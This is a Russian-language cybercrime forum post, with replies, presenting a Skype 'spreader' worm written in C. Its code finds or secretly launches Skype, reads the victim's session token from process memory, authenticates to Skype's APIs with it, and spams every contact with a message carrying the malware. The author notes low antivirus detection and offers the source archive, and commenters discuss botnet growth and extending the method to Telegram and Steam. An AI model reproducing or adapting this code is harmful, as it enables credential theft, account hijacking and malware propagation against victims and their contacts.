• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Распространитель скупов

xChimera

Malware...
Пользователь
Регистрация
19.08.2024
Сообщения
783
Реакции
552
Гарант сделки
2
Депозит
0.0282
Авторская статья специально для xss.pro
Автор: malware_cryptor

В данной статье я хочу рассказать о таком виде вируса как spreader, написать собственную реализацию конкретно для мессенджера - скайпа

Что из себя представляет данный вид вируса и для чего он нужен вообще? Основная цель данного вида вируса — заразить как можно больше устройств в перспективе, может использоваться для увеличения численности ботнета

В контексте статьи я хочу рассказать именно про рассылку сообщений
Схема работы:

1738089274756.png



Как видно из схемы:

1. Необходимо проверить установлен ли мессенджер
2. Обновить токен пользователя(например запустить процесс)
3. Украсть токен
4. Эмулировать авторизацию пользователя
5. Получить список айди всех чатов
6. Выполнить рассылку сообщений

Все, что нужно знать о токене

Токен пользователя скайпа хранится в базе данных Cookies по пути C:\Users\<USER>\AppData\Roaming\Microsoft\Skype for Desktop\Network

Токен живет 24 часа, если он истекает — скайп обновляет его каким то своим алгоритмам, которые мне не удалось познать и понять, поэтому мы будем манипулировать приложением мессенджера для обновления токена

База данных и ее структура:
1738089615497.png


Во время работы мессенджер не блокирует базу данных
Скайп читает токен, если он устарел — обновляет, но сразу не обновляет в базе данных

Для того, чтобы токен обновился в базе данных — необходимо сначало отправить сообщение через графический интерфейс, но я же буду забирать токен с памяти процесса


Проверяем установлен ли скайп на пк жертвы

Приложение может быть как х32, так и х64
х32 приложения на х64 системе устанавливаются в C:\Program Files (x86)
В остальных случаях устанавка происходит в C:\Program Files

Таким образом имеем:

C:\\Program Files (x86)\\Microsoft\\Skype for Desktop\\Skype.exe
C:\\Program Files\\Microsoft\\Skype for Desktop\\Skype.exe

Сначало проверим запущен ли уже скайп

Я перебираю процессы, сравниваю имя каждого с именем искомого, если имя совпадает, то открываю процесс при помощи OpenProcess с уровнем доступа PROCESS_QUERY_INFORMATION для получения информации о страницах памяти процесса, а также PROCESS_VM_READ для непосредственного чтения этой памяти.

C:
HANDLE GetProcess(WCHAR* ProcessName)
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hSnapshot == INVALID_HANDLE_VALUE)
    {
        debug_printf("CreateToolhelp32Snapshot return -1\n");
        return 0;
    }

    PROCESSENTRY32W pe32;

    pe32.dwSize = sizeof(PROCESSENTRY32W);

    int ret = Process32FirstW(hSnapshot, &pe32);

    if (!ret)
    {
        debug_printf("Process32FirstW return 0\n");
        CloseHandle(hSnapshot);
        return 0;
    }


    HANDLE hProcess = 0;


    do
    {
        // debug_printf("szExeFile: '%S'\n", pe32.szExeFile);

        if(wcscmp(pe32.szExeFile, ProcessName) == 0)
        {
            debug_printf("Found process: %S (PID: %d)\n", pe32.szExeFile, pe32.th32ProcessID);

            hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);

            if(!hProcess)
            {
                debug_printf("OpenProcess return 0, GLE: %d\n", GetLastError());
            }

            break;
        }
    }
    while(Process32NextW(hSnapshot, &pe32));

    CloseHandle(hSnapshot);


    return hProcess;   
}
Если процесс мессенджера не запущен, то пытаемся его запустить, разумеется в скрытом режиме — без окна, для этого заполняем структуру STARTUPINFOA:


Код:
STARTUPINFOA SI = {0};

SI.cb = sizeof(STARTUPINFOA);
SI.dwFlags = STARTF_USESHOWWINDOW;   
SI.wShowWindow = SW_HIDE;

В цикле перебираем 2 возможных пути до приложения, пытаемся запустить при помощи CreateProcessA, если удается запустить процесс — закрываем дескриптор потока (чтобы не висел в памяти просто так), возвращаем из функции дескриптор процесса.

Затем я делаю паузу 5 секунд, для того, чтобы мессенджер успел инициализироваться.

C:
BOOL need_kill = 0;
WCHAR* headers = 0;
char** urls = 0;


HANDLE hProcess = GetProcess(L"Skype.exe");

if(!hProcess)
{
    hProcess = RunSkypeIfInstalled();

    if(!hProcess)
    {
        debug_printf("Skype not installed!\n");
        return 0;
    }

    need_kill = 1;

    Sleep(5000); // wait for skype init       
}

Ну и сам код функции

C:
HANDLE RunSkypeIfInstalled()
{
    STARTUPINFOA SI = {0};
    PROCESS_INFORMATION PI = {0};

    SI.cb = sizeof(STARTUPINFOA);
    SI.dwFlags = STARTF_USESHOWWINDOW;   
    SI.wShowWindow = SW_HIDE;           

    for(int i = 0; i < 2; i++)
    {
        int ret = CreateProcessA(skype_paths[i], 0, 0, 0, 0, CREATE_NO_WINDOW, 0, 0, &SI, &PI);

        if(!ret) continue;

        // Sleep(5000); // wait for skype init

        // TerminateProcess(PI.hProcess, 0);

        // CloseHandle(PI.hProcess);
        CloseHandle(PI.hThread);

        return PI.hProcess;     
    }

    return 0;
}

После проделанных манипуляций итерируем страницы памяти процесса, если тип страницы совпадает с MEM_PRIVATE, а ее состояние с MEM_COMMIT – выделяем область памяти в своем процессе, читаем память из скайпа в нее

Эту информацию я получил путем анализ памяти в system informer:
1738090141390.png

C:
char* SkypeMemoryGetToken(HANDLE hProcess)
{
    char sToken[] = "skypetoken=";
    int TokenLen = 688;

    SYSTEM_INFO sysInfo;

    GetSystemInfo(&sysInfo);

    // debug_printf("maxaddress: 0x%llx\n", sysInfo.lpMaximumApplicationAddress);


    char* cur_search_address = 0;
    MEMORY_BASIC_INFORMATION mbi;

    while (cur_search_address < sysInfo.lpMaximumApplicationAddress)
    {
        if (VirtualQueryEx(hProcess, cur_search_address, &mbi, sizeof(mbi)) == sizeof(mbi))
        {
            cur_search_address = (char*)mbi.BaseAddress + mbi.RegionSize;

            void* address = mbi.BaseAddress;



            if (mbi.Type == MEM_PRIVATE && mbi.State == MEM_COMMIT)
            {
                // address = (char*)mbi.AllocationBase + mbi.RegionSize;

                // debug_printf("Addr: 0x%llx\n", address);
                // debug_printf("Size: 0x%x\n", mbi.RegionSize);
                // debug_printf("Type: 0x%x\n", mbi.Type);
                // debug_printf("Protect: 0x%x\n\n", mbi.Protect);

                // if(mbi.AllocationProtect | 0x2)
                // {
                char* MemBlock = malloc(mbi.RegionSize);

                if(!MemBlock)
                {
                    debug_printf("malloc ret 0, size: %d KB\n", mbi.RegionSize / 1024);
                    continue;
                }

                int ret = ReadProcessMemory(hProcess, address, MemBlock, mbi.RegionSize, 0);

                if(!ret)
                {
                    free(MemBlock);
                    // debug_printf("ReadProcessMemory ret 0, GLE: %d\n", GetLastError());

                    continue;
                }



                char* sToken_start = memmem_ff(MemBlock, mbi.RegionSize, sToken, sizeof(sToken) - 1);

                if(!sToken_start)
                {
                    free(MemBlock);

                    continue;
                }

                // debug_printf("sToken_start: %s\n", sToken_start);

                if(strlen(sToken_start) != TokenLen + sizeof(sToken) - 1)
                {
                    free(MemBlock);
                    
                    continue;
                }

                char* SkypeToken = malloc(TokenLen + 1);

                if(!SkypeToken)
                {
                    free(MemBlock);

                    continue;
                }

                memcpy(SkypeToken, sToken_start + sizeof(sToken) - 1, TokenLen + 1);
                // SkypeToken[TokenLen] = '\0';

                free(MemBlock);

                return SkypeToken;
            }
        }
        else
        {
            break;
        }

        // address = (char*)mbi.AllocationBase + mbi.RegionSize;
    }

    return 0;
}
Путем проверки разных токенов от разных аккаунтов я выяснил, что длина токена равна 688 символам



Затем в скопированной памяти я ищу строку-префикс: «skypetoken=» сверяю длину найденной строки: она должна быть равной 688 + 11 = 699
1738090246843.png

Выделяю память под токен, копирую его туда, освобождаю скопированную память, возвращаю токен из функции
Завершаем процесс скайпа если он был создан искусственно, а не был изначально открыт на пк жертвы

Затем я инициализирую заголовки для HTTPS запросов:

Authorization с значением формата «skypetoken TOKEN» для авторизации пользователя, а также же Authentication с значением формата «skypetoken=TOKEN» для дальнейших действий с недокументированным апи
C:
WCHAR* CreateHeaders(char* token)
{
    DWORD token_len = strlen(token) + 1;

    // debug_printf("token_len: %d\n", token_len);

    WCHAR* w_token = malloc(token_len * 2);

    if(!w_token) return 0;

    CharToWChar(w_token, token, token_len);

    WCHAR* headers = malloc(3000 * 2);

    if(!headers)
    {
        free(w_token);
        return 0;
    }

    // debug_printf("1\n");

    wcscpy(headers, L"Accept: application/json\n");
    wcscat(headers, L"Content-Type: application/json\n");
    wcscat(headers, L"MS-IC3-Product: Sfl\n");
    wcscat(headers, L"Authorization: skype_token ");
    wcscat(headers, w_token);
    wcscat(headers, L"\n");
    wcscat(headers, L"Authentication: skypetoken=");
    wcscat(headers, w_token);

    free(w_token);

    return headers;
}

Для работы с апи необходимо указать заголовок MS-IC3-Product со строковым значением Sfl
1738090411713.png

1738090434613.png


Эмулируем авторизацию пользователя:

Посредством сгенерированных ранее заголовков отправляем post запрос по адресу api.asm.skype.com с путем v1/skypetokenauth при успешной авторизации статус код должен быть равным 204, и ответ соответственно должен быть пустым

C:
BOOL SkypeTokenAuth(LPCWSTR headers, DWORD h_len)
{
    CHAR* resp = 0;
    DWORD StatusCode = 0;

    DWORD resp_size = make_https(L"POST", L"api.asm.skype.com", L"v1/skypetokenauth", TRUE,
                headers, h_len, 0, 0, &resp, &StatusCode);

    if(resp) free(resp);

    
    debug_printf("StatusCode: %d\n", StatusCode);

    if(StatusCode != 204)
    {
        debug_printf("ERROR: auth failed!\n");
        return 0;
    }
    else
    {
        return 1;
    }

}

Получить список айди всех чатов

Мне удалось нагуглить библиотеку для питона, некоторая информация из нее помогла мне понять что к чему и определить дальнейший порядок действий, ссылку также прилагаю

https://skpy[.]t[.]allofti[.]me/background/index.html
1738090552199.png


В ответе данного апи содержится жсон следующего формата:

1738090584633.png

здесь мы видим список других жсонов, проанализировав их мой взгляд упал на поле messages

Покопавшись еще в http analyzer, проанализировал запросы исходящие в момент отправки сообщения в мессенджере — я нашел это:
1738090627967.png


Мне удалось отправить сообщения протестировав пост запросы к юрл-значению из вышеупомянутого поля messages с параметрами от неофициальной документации

Но есть нюанс: некоторые жсоны указывают на юзернейм несуществующего пользователя, hex-id совпадает, а префикс нет


1738131174978.png

Настоящий же айди: live:8e2acf54b3811562

Отбрасывать айди с точкой и cid префиксом оказалось не нашим вариантом, так как настоящие пользователи могут иметь айди с этими префиксами, поэтому было принято решение забить болт на сортировку этих айдишников, ничего плохого от этого не будет.

Для извлечения данных из жсона я использовал самописную функцию, не стал тащить полноценный жсон парсер:
Код:
char* JsonTextGetValue(char* json_text, const char* sKey, char EndCh, DWORD* valEndOffset)
{
    char* key_start = strstr(json_text, sKey);

    if(!key_start) return 0;

    char* value_start = key_start + strlen(sKey);
    char* value_end = strchr(value_start, EndCh);

    DWORD value_len = value_end - value_start;

    // debug_printf("value_len: %d\n", value_len);
    // debug_printf("value_start: '%s'\n", value_start);

    char* value = malloc(value_len + 1);

    memcpy(value, value_start, value_len);
    value[value_len] = '\0';

    if(valEndOffset)
    {
        *valEndOffset = value_end - json_text;
    }

    

    return value;
}

Функция для извлечения значений от ключа messages из жсона:
C:
char** SkypeGetSendMessageUrls(LPCWSTR headers, DWORD h_len, DWORD* names_count)
{
    // const WCHAR url[] = L"https://msgapi.teams.live.com/v1/users/ME/conversations?startTime=0&view=msnp24Equivalent&targetType=Skype";

    char* resp = 0;
    DWORD StatusCode = 0;

    DWORD resp_size = make_https(L"GET", L"client-s.gateway.messenger.live.com",
            L"v1/users/ME/conversations?startTime=0&view=msnp24Equivalent&targetType=Skype",
            TRUE, headers, h_len, 0, 0, &resp, &StatusCode);

    if(StatusCode != 200 || !resp)
    {
        debug_printf("ERROR: get skype convers failed!\n");

        if(resp) free(resp);
        return 0;
    }

    // debug_printf("resp: %s\n", resp);

    // "_metadata":{"totalCount":

    char* CountStr = JsonTextGetValue(resp, "{\"totalCount\":", ',', 0);

    if(!CountStr)
    {
        free(resp);
        debug_printf("no count str\n");
        return 0;
    }

    debug_printf("totalCount: %s\n", CountStr);

    DWORD totalCount = atoi(CountStr);

    free(CountStr);

    if(!totalCount)
    {
        free(resp);
        return 0;
    }

    char** urls = malloc(sizeof(char*) * totalCount);

    if(!urls)
    {
        free(resp);
        return 0;
    }




    
    DWORD offset = 0;
    DWORD valEndOffset = 0;

    for(int i = 0; i < totalCount; i++)
    {
        char* url = JsonTextGetValue(resp + offset, "\"messages\":\"", '"', &valEndOffset);

        if(!url) break;

        offset += valEndOffset;

        urls[i] = url;

        // debug_printf("offset: %d\n", offset);

        // debug_printf("url: %s\n", url);
        


    }

    free(resp);

    *names_count = totalCount;

    return urls; 
}

Выполняем рассылку сообщений
1738091276263.png


На скрине видно формат отправляемого сообщения, он имеет вид жсона, который включает в себя 3 обязательных элемента:

messagetype – я буду использовать для отправки текста RichText, подробнее можно прочитать в неофициальной документации, ссылку также прилагаю:
https://skpy[.]t[.]allofti[.]me/background/protocol/chats[.]html#messages

contenttype – я буду использовать значение «text», такое же как в отловленном хттпс запросе

content – непосредственно сам отправляемый контент, зависит от messagetype

Код отправки сообщений:
C:
DWORD totalCount = 0;

urls = SkypeGetSendMessageUrls(headers, headersLen, &totalCount);

if(!urls) goto cleanup;



CHAR SpamMessage[64 + sizeof(SPAM_TEXT) + 2] = "{\"messagetype\": \"RichText\", \"contenttype\": \"text\", \"content\": \""; // Hello content"}

strcat(SpamMessage, SPAM_TEXT);
strcat(SpamMessage, "\"}");

debug_printf("SpamMessage: '%s'\n", SpamMessage);


CHAR* resp = 0;
DWORD StatusCode = 0;

for(int i = 0; i < totalCount; i++)
{
    debug_printf("url: %s\n", urls[i]);

    char* domain_start = urls[i] + 8;
    char* path_start = strstr(domain_start, "/");

    DWORD domain_len = path_start - domain_start;
    DWORD path_len = strlen(path_start);

    WCHAR* domain = malloc(domain_len * 2 + 2);
    WCHAR* path = malloc(path_len * 2 + 2);

    mbstowcs(domain, domain_start, domain_len);
    mbstowcs(path, path_start, path_len);

    domain[domain_len] = '\0';
    path[path_len] = '\0';

    free(urls[i]);

    debug_printf("domain: '%S'\n", domain);
    debug_printf("path: '%S'\n", path);
    // delete

    make_https(L"POST", domain, path, TRUE, headers, headersLen, SpamMessage, sizeof(SpamMessage) - 1, &resp, &StatusCode);

    if(resp) free(resp);

    free(domain);
    free(path);
}

Каким то образом удалось даже обойти ограничение:
1738091418099.png


Да и в целом в плане защиты у скайпа не очень

Тестирование на антивирусах:
Скан VirusTotal:
https://www.virustotal.com/gui/file/cd8dca678100e5bc0a678bb8210d1b0d2feef2641f0051451b264d3d1b1d6400/detection

Имеем 2 из 72 детектов, при желании почистить не проблема
На рантайм не вижу смысла кидать, так как сомневаюсь, что на вмках установлен скайп

Заключение:
Изначально я планировал выложить статью на конкурс, но посчитал что уровень статьи не тот, в другой раз подготовлю материал

Сурс код прилагаю в архиве, пароль местный


P.S. посоветуйте куда архив лучше загрузить, на экспе 1к загрузок и 30 дней максимум


1738090669018.png
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я с тележкой такое же хотел, но столкнулься с фродами и то что файлы по кд грузить нельзя. По контактам вроде бы можно спамить еще. Но такой ботнет завести трудно, + еще со стимом там тоже можно конектиться через стим апи если он запущен и писать всем. Да и вообще все возможные соцсети
 
Но такой ботнет завести трудно
Я имею в виду увеличивать численость ботнета ЧЕРЕЗ скайп
Например скинул ты пендосу вирус, он открыл, стукнул на твой сервак, разослал всем кентам в скайпе ссылку на загрузку этого же вируса, они скачали и тд
 
со стимом там тоже можно конектиться через стим апи если он запущен и писать всем
Надо будет почекать, я гдето полгода назад пытался написать спамер снипая веб версию стима - там какие то вебсокеты ебан#е, стало в падлу разбираться
 
Я с тележкой такое же хотел
Быстро спамлок прилетит, спамя текстом - надо текст морфить
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Надо будет почекать, я гдето полгода назад пытался написать спамер снипая веб версию стима - там какие то вебсокеты ебан#е, стало в падлу разбираться
А зачем у них есть либы для игр игры подключаются к клиенту и могут рассылку делать
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Быстро спамлок прилетит, спамя текстом - надо текст морфить
Прикрути фри аишку и спамь с их же пк, я не вижу смысла делать спамы у себя на сервере, нужна система чтоб спам был с их систиемы для большего траста
 
Прикрути фри аишку
Да не, играться с шрифтом, символами
Типо $качай
 
Пожалуйста, обратите внимание, что пользователь заблокирован

Накидал что когда то сам юзал

 
Пожалуйста, обратите внимание, что пользователь заблокирован

Накидал что когда то сам юзал

Раньше кстати файлы можно было хранить в стиме самом в steamcloud(который паредназначан для игр) но я забыл уже как грузить туда
 

Накидал что когда то сам юзал

1) Не пишу на сишарпе
2) Насколько мне известно - там используется документированное апи

Мой же интерес делать исключительно используя тоже апи, что легальное приложение + это траст
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
Я с тележкой такое же хотел, но столкнулься с фродами и то что файлы по кд грузить нельзя. По контактам вроде бы можно спамить еще. Но такой ботнет завести трудно, + еще со стимом там тоже можно конектиться через стим апи если он запущен и писать всем. Да и вообще все возможные соцсети
🤣🤣🤣
 
Пожалуйста, обратите внимание, что пользователь заблокирован
🤣🤣🤣
Не пойму что тут не так, идея хорошая была, я был готов ее реализовать
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх